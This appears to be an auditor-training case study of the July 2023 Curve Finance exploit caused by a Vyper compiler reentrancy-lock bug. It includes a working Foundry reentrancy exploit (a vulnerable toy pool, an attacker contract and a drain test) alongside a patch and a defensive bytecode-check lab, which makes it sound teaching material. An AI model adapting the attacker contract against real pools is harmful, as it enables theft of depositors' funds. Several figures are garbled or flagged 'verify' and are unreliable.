Case: Curve Finance — Vyper Compiler Reentrancy Lock Bug (July 2023)

“The DAO taught us that call.value() before state updates is dangerous. Eleven years later, Curve taught us something worse: the @nonreentrant decorator you trust to prevent that exact bug class can itself be broken. The vulnerability didn’t live in the Solidity (or Vyper) source you reviewed — it lived in the compiler that translated that source to bytecode. Source-level audits passed. The bytecode was a different program. Every auditor working on a Vyper or non-Solidity codebase should read this case study and update their threat model: the toolchain is part of the TCB.”

Tags: case-study reentrancy compiler-bug curve vyper defi historical vulnerability Related: Tuan-05-Vulnerability-Classes-Part-1 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Case-The-DAO-Reentrancy-2016 · Case-Cream-Iron-Bank-2021 · Case-Penpie-Pendle-2024


1. At a Glance

FieldValue
DateJuly 30, 2023 (initial drain ~13:00 UTC) into July 31, 2023 [verify exact start timestamp on-chain]
ProtocolCurve Finance — specifically Vyper-compiled factory pools using @nonreentrant("lock")
Affected poolsalETH/ETH (Alchemix), msETH/ETH (Metronome), pETH/ETH (JPEG’d), CRV/ETH (Curve native), plus partial exposure to sETH/ETH and CRV/sETH factory pools [verify completeness across factory + crypto pools]
Direct loss~52-55M net** after white-hat recoveries and voluntary returns [verify against multiple sources — Hacken/CertiK/Chainalysis figures range 73M depending on snapshot and what counts as “recovered”]
Funds rescued (white-hat MEV)c0ffeebabe.eth MEV bot front-ran the attacker on the CRV/ETH pool, intercepting **2,879 ETH (13M of alETH/ETH later voluntarily returned by an attacker to Alchemix; subsequent returns by c0ffeebabe.eth and others continued through August 2023 [verify totals]
Attack classCompiler bug — Vyper’s @nonreentrant("lock") decorator generated incorrect bytecode on specific compiler versions, causing the lock’s storage slot to be either unallocated or to collide with another variable. The decorator was a no-op at runtime.
Vyper versions affected0.2.15, 0.2.16, 0.3.0 [verify — Vyper team post-mortem confirms these three; some sources also reference 0.2.14 for related issues, but the three-version range is the canonical citation]
Vyper versions safe<0.2.15 and >=0.3.1 — the bug was introduced and reverted within a narrow window of releases
Root causeAt the compiler level: in the affected Vyper releases, the @nonreentrant decorator’s storage-slot allocation for the lock variable was broken — either re-used a slot already assigned to a contract-level state variable, or skipped slot allocation entirely so the lock was never written/read. The Vyper source code still looked protected; the EVM bytecode had no functional lock.
Attack vectorClassic reentrancy via the ETH receive callback during remove_liquidity (or remove_liquidity_one_coin) on pools holding raw ETH. The pool transfers ETH to the LP withdrawer via raw_call/low-level send, which yields control to the LP’s receive(). With the decorator broken, the LP re-enters remove_liquidity (or add_liquidity) and exploits the pool’s mid-update accounting.
Reported byVyper team disclosure on Twitter, ~July 30, 2023; near-simultaneous Curve disclosure on the official Curve Discord / Twitter
Lasting consequence”The compiler is part of the TCB” became an industry mantra. Curve TVL crashed from ~1.7B within 48 hours and took roughly two years to recover. Founder Egorov’s CRV-backed loans on Aave nearly cascaded into a system-wide liquidation. Vyper’s reputation as a “minimalist, safer” alternative to Solidity took a multi-year hit.

2. Background

2.1 Vyper, briefly

Vyper is a Python-syntax smart-contract language for the EVM, designed as a deliberate counter-philosophy to Solidity:

  • Minimal feature surface — no inheritance, no inline assembly, no function overloading, no recursion, no infinite loops, no modifiers (decorators are limited).
  • Auditability over expressiveness — code that’s easier to read is, in theory, easier to verify.
  • Strong typing — bounded integers, explicit unit annotations, no implicit conversions.
  • Bounds-checked everything — array accesses, arithmetic, etc.

Vyper’s pitch to security-conscious teams: “fewer foot-guns than Solidity.” For most of its history this was a defensible claim. Curve Finance was the largest and most visible Vyper adoption — the protocol that bet most heavily on Vyper’s security thesis.

The cruel irony of July 2023 was that the bug exploited at Curve was not a class of bug Vyper’s design defended against, and not a class detectable by reading Vyper source. It was a bug in Vyper itself.

2.2 Curve’s @nonreentrant("lock") — what it was supposed to do

Vyper offers a built-in reentrancy guard via a decorator:

@external
@nonreentrant("lock")
def remove_liquidity(...):
    ...

The expected compiled semantics, mirroring Solidity’s OpenZeppelin ReentrancyGuard:

function entry:
    assert STORAGE[reentrancy_slot] == 0   # not locked
    STORAGE[reentrancy_slot] = 1           # acquire
    <function body>
    STORAGE[reentrancy_slot] = 0           # release

The decorator takes a name string ("lock", "a", "b", …) so a contract can define multiple independent locks — e.g., one lock for liquidity operations and a separate lock for admin functions, allowing them to interleave but preventing within-lock reentry. The lock string maps (via the compiler) to a specific storage slot.

This is the protective primitive that, in the affected Vyper versions, silently did not work.

2.3 The pool design — ETH-bearing factory pools

The pools that got drained share a structural property: they hold raw ETH (not WETH), and they hand ETH back to LPs during remove_liquidity using a low-level send / raw_call:

# Schematic of vulnerable pool's removal flow (Vyper-ish pseudo-code)
@external
@nonreentrant("lock")
def remove_liquidity(_amount: uint256, _min_amounts: uint256[N_COINS]):
    total_supply: uint256 = self.totalSupply
    amounts: uint256[N_COINS] = empty(uint256[N_COINS])
 
    for i in range(N_COINS):
        value: uint256 = self.balances[i] * _amount / total_supply
        assert value >= _min_amounts[i]
        amounts[i] = value
        self.balances[i] -= value          # state update BEFORE transfer
 
        if i == ETH_INDEX:
            raw_call(msg.sender, b"", value=value)   # ← yields control
        else:
            ERC20(coins[i]).transfer(msg.sender, value)
 
    self.totalSupply -= _amount
    # ... burn LP tokens, emit events ...

Read that carefully. The pool does update self.balances[i] before the external transfer (good CEI hygiene). But it does not update self.totalSupply or burn LP tokens until after the loop. And it does not update D (the StableSwap invariant) inside the loop either.

So during the raw_call to msg.sender, the pool’s view of itself is partially updated:

  • One coin’s balance is decremented.
  • The LP’s token balance is still intact.
  • totalSupply is still intact.
  • D / virtual_price is computed on partially-updated balances.

In a correctly-compiled pool, the @nonreentrant("lock") decorator makes the inconsistency invisible: any reentry attempt during the raw_call reverts immediately because the lock slot is set. The mid-state is a private bookkeeping detail.

When the decorator is a no-op, the mid-state becomes an exploitable primitive.

2.4 The dependency chain — where the bug lived

The Curve security model relied on a chain that auditors had reviewed for the Curve code but treated the Vyper compiler as a trusted black box:

Curve pool source code (Vyper)
        ↓ compiled by ↓
   Vyper compiler v0.2.15/0.2.16/0.3.0  ← BUG LIVES HERE
        ↓ produces ↓
   EVM bytecode (deployed on Ethereum)
        ↓ verified on Etherscan against source ↓
   Audits sign off based on source semantics

Source-vs-bytecode verification on Etherscan only proves that the bytecode was produced by some compiler version from this source. It does not prove that compiler version is correct. A buggy compiler “verifies” perfectly: the source maps to the bytecode it produced, period.

This is the load-bearing audit lesson of the case study. Mark it.


3. The Vulnerability — Compiler-Level

3.1 The defect, in plain English

In Vyper 0.2.15, 0.2.16, and 0.3.0, the implementation of the @nonreentrant("<name>") decorator had a bug in how it allocated storage slots for the reentrancy lock variable. Specifically [verify the precise mechanism in the Vyper team’s post-mortem; the publicly stated mechanism is that the lock’s slot allocation became incorrect when multiple @nonreentrant decorators were present on the same contract, or when the lock name interacted with the compiler’s storage layout pass]:

  • The compiler should have reserved a dedicated storage slot for each unique lock name and emitted SLOAD/SSTORE around the function body.
  • In the affected versions, this slot allocation either:
    1. Collided with an existing contract storage variable, causing the “lock acquire” to overwrite real state (and the “lock check” to read state-as-lock-flag — which would usually be non-zero on a healthy contract, paradoxically locking out legitimate users, not the attacker), or
    2. Did not emit the SLOAD/SSTORE pair at all on certain code paths, leaving the decorator as a no-op stub.

The exact mechanism varied subtly across the three versions. The unifying user-visible effect: the decorator existed in source, was not enforced in bytecode, and reentrancy was therefore possible despite the source containing the canonical Vyper guard.

Auditor’s note: the Vyper team’s official post-mortem (July 30, 2023, posted to their Twitter / GitHub) is the authoritative source on the per-version mechanism. The above description captures the exploitable effect but cross-reference the GitHub issue and the v0.3.1 release notes for the precise compiler-pass diff. [verify against Vyper GH issue and post-mortem]

3.2 Why the bug went undetected for so long

Vyper 0.2.15 was released in late 2021. Vyper 0.3.0 was released in November 2021. The bug therefore lived in compiled Curve pools deployed across 2021–2023, used by billions of dollars in TVL, audited multiple times by reputable firms. Why?

Five reinforcing reasons:

  1. Audits review source, not bytecode. Standard practice: read the Vyper source, reason about it as if the compiler is correct, comment if the source’s logic is wrong. The lock was present in source; the lock was annotated correctly; the auditor’s check-list ticked.

  2. The bug requires a multi-step compiler-output diff. Catching it would have meant: compile the same source with two different Vyper versions, diff the bytecode, identify the missing SLOAD/SSTORE, then reason about whether that omission has security consequences. No standard audit budget includes this.

  3. The decorator usually “worked” — meaning, all normal calls passed through fine. The bug was a false-negative on reentry. There was no obvious failing test. Curve’s own unit tests didn’t exercise reentrancy because the source claimed it was prevented.

  4. Vyper’s own test suite did not include a reentrancy-via-ETH-callback regression test [verify against Vyper’s pre-July-2023 test suite history]. The compiler had unit tests for the decorator’s storage-allocation pass, but the integration test that would have caught this — “compile a contract with @nonreentrant, deploy on EVM, send it a reentrancy attempt, assert revert” — was either missing or skipped on the affected versions.

  5. No bug bounty program targets compiler bugs. Curve had a bounty; the bounty incentivized people to find flaws in Curve’s source. Vyper had a smaller bounty for Vyper itself, but the population of skilled compiler-internals researchers is tiny compared to the population of Solidity/Vyper application auditors.

3.3 The trust-boundary diagram

Untrusted ────────────────── Trusted
                            
   Attacker EOA          Curve pool source (audited)
        ↓                        ↑
   Attacker contract      Vyper language design (audited)
        ↓                        ↑
        └──── EVM ──────► Vyper COMPILER ←─ ❌ UNAUDITED ❌
                                ↑
                          EVM specification
                          (audited)

The compiler sat in the middle of the trust diagram with no rigorous attestation. Everyone using it assumed someone else had verified it. Same anti-pattern as supply-chain attacks in Web2 (Log4Shell, SolarWinds, xz/liblzma) — the dependency you didn’t audit is the one that breaks.


4. The Attack Flow

4.1 Pre-attack setup

The attacker did not need significant capital. The exploit on factory pools required only:

  1. An attack contract with a receive() (or fallback) that, upon receiving ETH from the pool, re-enters into the pool.
  2. A small LP position — the attacker deposits a modest amount, then exploits the inconsistency during their own withdrawal.
  3. Optionally a flash loan for amplifying the LP deposit (some on-chain traces show flash-loan funded attacks; others show self-funded smaller drains). The exploit doesn’t require a flash loan because the bug is in the pool’s accounting, not in price-impact arbitrage. [verify which pools used flash loans in the actual attack traces]

4.2 The on-chain choreography

For the pETH/ETH pool (JPEG’d), the basic flow:

attacker_contract.exploit()
└── pETH_pool.add_liquidity([pETH_amt, eth_amt], min_lp_out)
│       (attacker now holds LP tokens; pool balances reflect their deposit)
│
└── pETH_pool.remove_liquidity(LP_amt, [0, 0])
    ├── self.balances[pETH] -= pETH_share
    ├── ERC20(pETH).transfer(msg.sender, pETH_share)
    ├── self.balances[ETH] -= eth_share
    ├── raw_call(msg.sender, b"", value=eth_share)      ← CONTROL TO ATTACKER
    │   └── attacker_contract.receive()
    │       └── pETH_pool.remove_liquidity_one_coin(LP_amt, ETH_INDEX, 0)
    │           │   (this should be locked — but isn't, because the @nonreentrant
    │           │    decorator emitted no functional lock in the bytecode)
    │           ├── self.totalSupply has NOT been decremented yet from outer call
    │           ├── LP_amt is computed against stale totalSupply
    │           ├── self.balances[ETH] is partial (already decremented by outer)
    │           │   but the pool's invariant D is recomputed and the
    │           │   single-coin removal calculation now over-pays ETH
    │           │   relative to what the LP was actually entitled to
    │           └── raw_call(msg.sender, b"", value=over_paid_eth)
    │               (re-enters again, or returns to outer)
    │
    └── self.totalSupply -= LP_amt        ← only the OUTER LP amount is burned;
                                            the inner removal never burns the same
                                            tokens because LP balance check uses
                                            stale post-outer state

The arithmetic specifics differ pool by pool — pETH used remove_liquidity_one_coin; alETH and msETH had related but distinct shapes; the CRV/ETH attack was structurally similar but in a different (crypto pool) accounting domain. The unifying primitive is:

The attacker calls a withdrawal function. The function transfers ETH mid-execution. The attacker’s receive() re-enters a different withdrawal function (or the same one, with crafted parameters). The pool’s bookkeeping treats the inner call as if no outer call is in progress, allowing the attacker to claim more than their LP share.

4.3 Per-pool damage

PoolApprox. value drainedRecovery / status
pETH/ETH (JPEG’d)~$11MPartial — JPEG’d protocol made depositors whole from treasury; attacker(s) kept some
msETH/ETH (Metronome)~$1.6MLargely lost; Metronome paused affected products
alETH/ETH (Alchemix)~$13.6MRecovered — attacker voluntarily returned 4,820 alETH + 2,258 ETH (~$12.7M) ~5 days post-attack [verify return-of-funds tx hashes]
CRV/ETH (Curve crypto pool)~$24M attempted (7.1M CRV + 7,680 WETH)Partially recoveredc0ffeebabe.eth front-ran the attacker, intercepting 2,879 ETH (~$5.4M) and returning to Curve deployer; remainder of CRV/ETH drain not recovered [verify exact recovery split]

Totals reported by various trackers (Hacken, Chainalysis, PeckShield, CertiK) ranged from 73M depending on what was counted (gross drains? net of recoveries? what timestamp?). The commonly cited “52M net” subtracts confirmed returns by month-end. [verify against your preferred primary source]

4.4 The white-hat MEV bot — c0ffeebabe.eth

The CRV/ETH segment of the attack is the most cinematic part of this case, and the most instructive about modern Ethereum dynamics.

When the attacker began draining the CRV/ETH pool, their transaction was visible in the public mempool — the malicious calldata, the target pool, the expected profit, all readable to anyone monitoring pending transactions. c0ffeebabe.eth is an ENS name belonging to a sophisticated MEV-searcher operator running competitive sandwich/arbitrage bots on Ethereum.

The operator (or, more precisely, their automated bot) did the following:

  1. Observed the attacker’s pending exploit transaction in the mempool.
  2. Computed that a copy of the exploit, submitted with higher gas (priority fee), would land first and extract the value before the original attacker.
  3. Constructed and submitted their own version of the exploit transaction with sufficient priority to win the block-order race.
  4. Received the drained 2,879 ETH (~$5.4M) into their MEV bot’s address.
  5. Decided — not by smart contract but by human choice — to return the funds to Curve rather than keep them.
  6. Sent the 2,879 ETH to Curve’s deployer address with a public note. [verify on-chain note text]

This pattern — “white-hat MEV interception” — has happened multiple times since (notably during the 2023–2024 wave): an exploiter posts a profitable transaction to the public mempool; a faster MEV searcher front-runs them; the searcher voluntarily returns the funds because their reputation (and ENS) is on the line.

The systemic lessons:

  • The public mempool is a defensive layer in some cases. Visibility of exploit transactions gives white-hats a window to intercept.
  • The auctioneer (block builder / proposer) is neutral. They don’t know which transaction is “the right one”; they just sort by priority fee.
  • MEV searchers are an unpaid (and unsanctioned) part of Ethereum’s security infrastructure. Their continued participation depends on social norms, not protocol.
  • Private mempools / OFAs (Order Flow Auctions) reduce this benefit. If an exploit goes through Flashbots Protect or a private bundle, the white-hat opportunity disappears. Curve’s exposure to the public mempool — typical for 2023-era pools — is part of why this case had recoveries at all.

(Compare with: the Nomad bridge attack, August 2022, where the exploit was so trivial that hundreds of copycat addresses joined the drain. Public-mempool dynamics cut both ways.)


5. Reproduction in Foundry

We’ll reproduce the bug class — a reentrancy lock that has been disabled — rather than fork the actual Vyper compiler bug. The exercise mirrors what an auditor should do when reviewing a Vyper codebase: simulate the case where the decorator is a no-op and verify the pool’s resilience without compiler help.

5.1 What we’re modeling

A two-coin pool (token + ETH) that:

  • Holds raw ETH (not WETH).
  • Has a remove_liquidity function transferring ETH to LPs via low-level call.
  • Has a nonReentrant modifier that is deliberately a no-op (simulating the compiler bug).
  • Allows the attacker, via a receive() callback, to re-enter remove_liquidity_one_coin mid-removal.

5.2 Victim pool (Solidity model of a Vyper pool with broken lock)

// src/BrokenLockPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
/// @title BrokenLockPool — Solidity model of a Curve-like pool with
///        a SIMULATED-BROKEN `@nonreentrant` decorator. DO NOT DEPLOY.
contract BrokenLockPool {
    address public immutable TOKEN;
    uint256 public balanceToken;
    uint256 public balanceEth;
    uint256 public totalSupply;
    mapping(address => uint256) public lpOf;
 
    // Simulates Vyper's @nonreentrant("lock") — DELIBERATELY UNUSED to
    // model the compiler bug where the decorator was emitted as a no-op.
    uint256 private _lock; // never read/written — that's the point.
 
    modifier nonReentrant() {
        // In a correctly-compiled contract, this would assert+set _lock.
        // We deliberately omit those operations.
        _;
    }
 
    constructor(address _token) {
        TOKEN = _token;
    }
 
    function addLiquidity(uint256 _tokenAmt) external payable nonReentrant {
        require(msg.value > 0 && _tokenAmt > 0, "amts");
        IERC20(TOKEN).transferFrom(msg.sender, address(this), _tokenAmt);
 
        // Naive LP-mint formula (not StableSwap-correct; sufficient for PoC):
        // Mint LP = sqrt(token * eth) for first LP; else proportional.
        uint256 lp;
        if (totalSupply == 0) {
            lp = _sqrt(_tokenAmt * msg.value);
        } else {
            uint256 lpFromToken = _tokenAmt * totalSupply / balanceToken;
            uint256 lpFromEth   = msg.value  * totalSupply / balanceEth;
            lp = lpFromToken < lpFromEth ? lpFromToken : lpFromEth;
        }
        require(lp > 0, "no lp");
        balanceToken += _tokenAmt;
        balanceEth   += msg.value;
        totalSupply  += lp;
        lpOf[msg.sender] += lp;
    }
 
    /// @dev Vulnerable: transfers ETH mid-state-update, and inner re-entry
    ///      via removeLiquidityOneCoin sees stale `totalSupply`.
    function removeLiquidity(uint256 _lp) external nonReentrant {
        require(lpOf[msg.sender] >= _lp, "lp");
        uint256 tokenOut = _lp * balanceToken / totalSupply;
        uint256 ethOut   = _lp * balanceEth   / totalSupply;
 
        // Decrement balances BEFORE transfers (looks fine).
        balanceToken -= tokenOut;
        balanceEth   -= ethOut;
 
        // Token transfer — safe.
        IERC20(TOKEN).transfer(msg.sender, tokenOut);
 
        // ETH transfer — yields control. With a working lock, re-entry would
        // revert here. With the broken lock, attacker re-enters.
        (bool ok, ) = msg.sender.call{value: ethOut}("");
        require(ok, "eth xfer");
 
        // CRITICAL: totalSupply and lpOf updated AFTER external call.
        // Inside the re-entry, totalSupply is stale.
        totalSupply -= _lp;
        lpOf[msg.sender] -= _lp;
    }
 
    /// @dev Single-coin (ETH) removal — what the attacker re-enters during
    ///      the outer removeLiquidity's ETH callback.
    function removeLiquidityOneCoinEth(uint256 _lp) external nonReentrant {
        require(lpOf[msg.sender] >= _lp, "lp");
        // Stale totalSupply means this over-computes ethOut relative to
        // what the attacker is actually entitled to.
        uint256 ethOut = _lp * balanceEth / totalSupply;
 
        balanceEth -= ethOut;
        totalSupply -= _lp;
        lpOf[msg.sender] -= _lp;
 
        (bool ok, ) = msg.sender.call{value: ethOut}("");
        require(ok);
    }
 
    function _sqrt(uint256 y) internal pure returns (uint256 z) {
        if (y > 3) { z = y; uint256 x = y/2 + 1;
            while (x < z) { z = x; x = (y/x + x)/2; } }
        else if (y != 0) z = 1;
    }
 
    receive() external payable {}
}
 
interface IERC20 {
    function transfer(address, uint256) external returns (bool);
    function transferFrom(address, address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
}

5.3 Attacker contract

// test/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "../src/BrokenLockPool.sol";
 
contract Attacker {
    BrokenLockPool public pool;
    IERC20 public token;
    bool public reentered;
    uint256 public stolen;
 
    constructor(BrokenLockPool _pool, IERC20 _token) {
        pool = _pool;
        token = _token;
    }
 
    function attack(uint256 _tokenAmt) external payable {
        // Become an LP.
        token.approve(address(pool), _tokenAmt);
        pool.addLiquidity{value: msg.value}(_tokenAmt);
 
        // Trigger withdraw. Receive callback will re-enter.
        uint256 myLp = pool.lpOf(address(this));
        pool.removeLiquidity(myLp);
    }
 
    receive() external payable {
        if (reentered) return;
        reentered = true;
 
        // We're being paid ETH by the outer removeLiquidity. totalSupply
        // is stale here. Our own lpOf is also stale. Use a single-coin
        // removal to drain extra ETH.
        uint256 myLp = pool.lpOf(address(this));
        if (myLp > 0) {
            // Re-enter with the same LP amount — pool will pay us out
            // a second time based on stale totalSupply.
            try pool.removeLiquidityOneCoinEth(myLp) {} catch {}
        }
        stolen = address(this).balance;
    }
 
    function withdraw() external {
        (bool ok, ) = msg.sender.call{value: address(this).balance}("");
        require(ok);
    }
}

5.4 Foundry test

// test/BrokenLockPool.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import "../src/BrokenLockPool.sol";
import "./Attacker.sol";
 
contract MockERC20 {
    string public name = "MockToken";
    string public symbol = "MOCK";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
 
    function mint(address to, uint256 amt) external {
        balanceOf[to] += amt; totalSupply += amt;
    }
    function transfer(address to, uint256 amt) external returns (bool) {
        balanceOf[msg.sender] -= amt; balanceOf[to] += amt; return true;
    }
    function approve(address sp, uint256 amt) external returns (bool) {
        allowance[msg.sender][sp] = amt; return true;
    }
    function transferFrom(address f, address t, uint256 amt) external returns (bool) {
        if (msg.sender != f) allowance[f][msg.sender] -= amt;
        balanceOf[f] -= amt; balanceOf[t] += amt; return true;
    }
}
 
contract BrokenLockPoolTest is Test {
    BrokenLockPool pool;
    Attacker attacker;
    MockERC20 token;
 
    // Honest LP setup: 5 LPs each deposit 100 tokens + 10 ETH.
    function setUp() public {
        token = new MockERC20();
        pool  = new BrokenLockPool(address(token));
 
        for (uint256 i = 1; i <= 5; i++) {
            address lp = address(uint160(0x1000 + i));
            vm.deal(lp, 10 ether);
            token.mint(lp, 100 ether);
            vm.startPrank(lp);
            token.approve(address(pool), type(uint256).max);
            pool.addLiquidity{value: 10 ether}(100 ether);
            vm.stopPrank();
        }
        // Pool now holds 50 ETH and 500 tokens.
 
        attacker = new Attacker(pool, IERC20(address(token)));
        token.mint(address(attacker), 100 ether);
    }
 
    function test_brokenLockReentrancyDrain() public {
        emit log_named_uint("Pool ETH balance BEFORE", address(pool).balance);
        emit log_named_uint("Pool token balance BEFORE", token.balanceOf(address(pool)));
 
        vm.deal(address(this), 10 ether);
        attacker.attack{value: 10 ether}(100 ether);
 
        emit log_named_uint("Pool ETH balance AFTER", address(pool).balance);
        emit log_named_uint("Pool token balance AFTER", token.balanceOf(address(pool)));
        emit log_named_uint("Attacker ETH stolen", address(attacker).balance);
 
        // Attacker started with 10 ETH; should have extracted more than
        // their fair share (which would have been 10 ETH back).
        assertGt(address(attacker).balance, 10 ether,
                 "attacker must profit");
    }
 
    /// @dev Positive control: enable the lock, prove the exploit is blocked.
    function test_workingLock_blocksAttack() public {
        // Re-deploy with WORKING lock by upgrading the pool.
        // (Left as exercise — copy BrokenLockPool, restore the SLOAD/SSTORE
        // in nonReentrant, re-run. Should revert in receive() with the lock
        // assertion.)
        vm.skip(true);
    }
}

Run:

forge test --match-test test_brokenLockReentrancyDrain -vvv

5.5 What you should observe

  • Pool starts with 50 ETH, 500 tokens.
  • Attacker deposits 10 ETH, 100 tokens → gets LP tokens. Pool now holds 60 ETH, 600 tokens.
  • Attacker calls removeLiquidity. The pool pays them their fair share, then before updating totalSupply and lpOf, the attacker re-enters.
  • In the re-entry, totalSupply is still pre-decrement, but balanceEth is already decremented. The single-coin removal computes ETH out against stale totalSupply and over-pays.
  • Net result: attacker walks away with more than 10 ETH while pool is short by the difference. (Exact magnitudes depend on the formula; the qualitative result — attacker profits, pool is short — should be reproducible.)

5.6 Patch — restore the lock at source level

Apply a real reentrancy guard:

modifier nonReentrant() {
    require(_lock == 0, "REENTRANT");
    _lock = 1;
    _;
    _lock = 0;
}

Re-run the test: it should now revert with "REENTRANT" in the attacker’s receive() when they try to call removeLiquidityOneCoinEth. The pool retains its ETH; the attacker’s transaction reverts entirely (no LP burn either, because the outer call’s post-external-call state updates never execute due to the revert propagating up). Honest LPs are protected.

5.7 Stretch lab: differential bytecode check

This is the lab that the Curve case actually demands. Don’t trust the source — verify the bytecode.

For a Vyper pool you’re auditing:

  1. Clone the pool’s source. Confirm @nonreentrant("lock") is present on remove_liquidity, add_liquidity, etc.
  2. Compile with the Vyper version the pool was actually deployed with (check the metadata hash via eth_getCode and Sourcify / Etherscan).
  3. Disassemble the deployed bytecode (e.g. evmasm, Etherscan disassembly, or pyevmasm).
  4. Locate the function selector dispatch for remove_liquidity. Trace the first ~30 instructions inside that function body.
  5. Look for a SLOAD of a specific storage slot followed by a comparison to zero (or to 1), followed by JUMPI to a revert — this is the lock check. Then look for an SSTORE setting that slot to 1.
  6. If those operations are absent: the lock is broken in deployed bytecode, regardless of source.

For modern Curve pools deployed post-July 2023 (Vyper >= 0.3.1), this check passes. For historical pools, this is exactly the audit step that, if performed, would have caught the bug pre-incident.


6. Aftermath

6.1 The immediate hours — July 30, 2023

  • ~13:00 UTC: First drain detected on pETH/ETH (JPEG’d). [verify on-chain timestamps]
  • ~14:00–17:00 UTC: msETH/ETH and alETH/ETH drained in sequence. Curve team’s Telegram and Discord go into emergency mode. Multiple protocols pause vaults that consumed Curve LP tokens as collateral.
  • ~17:30 UTC: Vyper team publishes initial disclosure on Twitter, identifying the compiler bug and listing affected versions (0.2.15, 0.2.16, 0.3.0).
  • ~19:00–21:00 UTC: Curve’s CRV/ETH pool is targeted. c0ffeebabe.eth MEV bot intercepts ~2,879 ETH and within an hour returns it to Curve deployer address.
  • Throughout July 31: Curve, Alchemix, JPEG’d, Metronome publish post-incident updates. CRV price drops from ~0.58 in 24 hours. [verify pricing snapshots]

6.2 The CRV liquidation cascade that almost happened

A secondary crisis: Curve founder Michael Egorov had used personal CRV holdings as collateral for ~$100M in loans across Aave, Frax, and other lending markets. As CRV price dropped, his loans approached liquidation thresholds. A forced liquidation of his position would have:

  • Dumped tens of millions of CRV onto an already-illiquid market.
  • Crashed CRV further, cascading into other CRV-backed loans.
  • Created bad debt on Aave (CRV collateral was thinly traded; auctions could undershoot debt).
  • Potentially triggered insolvency at Frax (which had CRV in AMOs).

Egorov negotiated OTC sales of CRV to large buyers (Justin Sun, Andrew Kang, DCFGod, etc.) at a discount to retire loans and de-risk the position. The cascade was averted, but the market lesson — that a founder’s personal leverage on a protocol’s token is a hidden systemic risk — became part of the post-mortem narrative.

This is a non-technical lesson but a critical one for protocol-level auditors: when reviewing a protocol with a governance token, ask “is the founder leveraged on this token? where? what’s the liquidation cascade?” The Curve case made this question mainstream.

6.3 Returns of funds

In the weeks following the attack, several recoveries occurred:

  • c0ffeebabe.eth: returned 2,879 ETH (~$5.4M) to Curve deployer within hours. [verify tx hash: search for c0ffeebabe.eth’s address on Etherscan in late July 2023]
  • alETH attacker: returned 4,820 alETH + 2,258 ETH (~$12.7M) to Alchemix ~5 days after attack. This was widely interpreted as the attacker accepting Curve’s “bug bounty” offer (10% of stolen funds in exchange for return, with no legal action).
  • **Curve’s 1.85M bounty for information leading to the attacker’s identification with successful prosecution. The conviction clause made this very different from a return-the-funds offer; it signaled that the remaining unreturned funds were now treated as criminal proceeds.
  • A separate MEV-bot loss: in the chaos, one of the exploiter’s MEV bots was itself exploited by another MEV bot in the same window — generating a ~$2M loss for the original attacker. [verify; cited by multiple trackers]

Net loss settled at ~$52M across the affected pools after these recoveries.

6.4 Vyper team response

The Vyper development team’s response was textbook for a compiler-supply-chain incident:

  • Immediate public disclosure on the day of the attack identifying affected versions.
  • Release of Vyper 0.3.10 (and patches to 0.3.7+) with the lock issue fixed.
  • Public post-mortem detailing the technical root cause in the storage-allocation pass.
  • Test-suite hardening: integration tests for the decorator on a live EVM were added.
  • Audit of the compiler subsequently commissioned (by multiple parties — Statemind, others — depending on source). [verify which firms audited Vyper post-incident]
  • Deprecation guidance: a clear notice that 0.2.15, 0.2.16, 0.3.0 (and a few related releases) should not be used in production.

The Curve team simultaneously published a “pool migration guide” pointing teams toward newer factory pool versions compiled with safe Vyper releases. Newer pools deployed since use Vyper 0.3.7+ or 0.3.10+.

6.5 Long-term TVL and reputation

  • Curve TVL dropped from ~1.7B within 48 hours. As of early 2026, Curve’s TVL has recovered to roughly its pre-attack levels but only as part of broader DeFi growth — Curve’s market share of stableswap volumes has been substantially eroded by Uniswap V4 hooks, Maverick, and Balancer composable stable pools. [verify TVL trajectory against DefiLlama snapshots]
  • Vyper adoption stagnated. New protocols launching in 2023–2024 largely chose Solidity by default, citing the Curve incident. Vyper’s ongoing development continues (with v0.4.x as the modern release), but the “Vyper is safer because it’s simpler” pitch took years to rebuild credibility.
  • Industry-level: every major audit firm added a “verify compiler version against known-good list” and “verify deployed bytecode includes expected reentrancy bytecode pattern” line item to their Vyper / non-Solidity audit playbooks. Some firms (Spearbit, Trail of Bits, Statemind) now explicitly run differential compilation as standard.

7. Lessons for Auditors

7.1 The compiler is part of the TCB — and it has been undertested

The Trusted Computing Base (TCB) of a smart contract is everything the contract’s security depends on:

  • The Solidity / Vyper compiler.
  • The Ethereum client (geth, erigon, etc.).
  • The EVM specification.
  • The optimizer settings.
  • Any inline assembly or precompiles.

Audits historically focused on source code only. The Curve incident exposes that the compiler is a critical, undertested layer of the TCB. For any non-Solidity language audit (Vyper, Huff, Fe, future languages), explicitly flag the compiler version, check it against known-bad lists, and consider differential compilation.

The Solidity compiler has had its own bugs over the years — via-IR codegen issues, storage-layout edge cases, ABI encoding bugs — but they’ve generally been caught faster due to scale of use. The audit lesson applies to Solidity too, just with less urgency: pin compiler versions, monitor compiler release notes for security advisories, re-audit after compiler upgrades that touch codegen.

7.2 Differential testing: same code, different toolchain

A specific concrete defense: port your critical functions to a second language and compare behavior.

For Curve, this would have meant: take remove_liquidity from Vyper, port it to Solidity, set up the same pool state, and fuzz-test both for invariant equivalence. If the Vyper version fails an invariant the Solidity version passes (e.g., “the pool’s ETH balance after remove_liquidity equals expected balance whether or not the LP re-enters”), you’ve found a divergence. The Vyper version’s invariant failure was the compiler bug exposing itself.

Differential testing across implementations is standard practice in:

  • Ethereum client testing (geth vs erigon vs reth vs nethermind).
  • Cryptographic library testing (libsecp256k1 vs noble vs others).
  • Database engines.

It’s not standard in smart-contract auditing, partly because porting between Vyper and Solidity is labor-intensive. But for high-TVL, language-specialized protocols, it’s a defensible audit deliverable.

7.3 Reproduce the reentrancy guard in fork tests

Even with a correctly-functioning compiler, never trust the decorator without verifying it.

Concrete auditor workflow:

  1. Fork-test the live deployed contract on a recent Ethereum block.
  2. Write an exploit attempt that calls the contract’s remove_liquidity (or equivalent) and re-enters from the receive callback.
  3. Assert the reentry reverts with the lock-related error.
  4. If the test passes, the lock is functional in this version of the deployed bytecode. If it doesn’t revert (or reverts with a different message), the lock is broken.

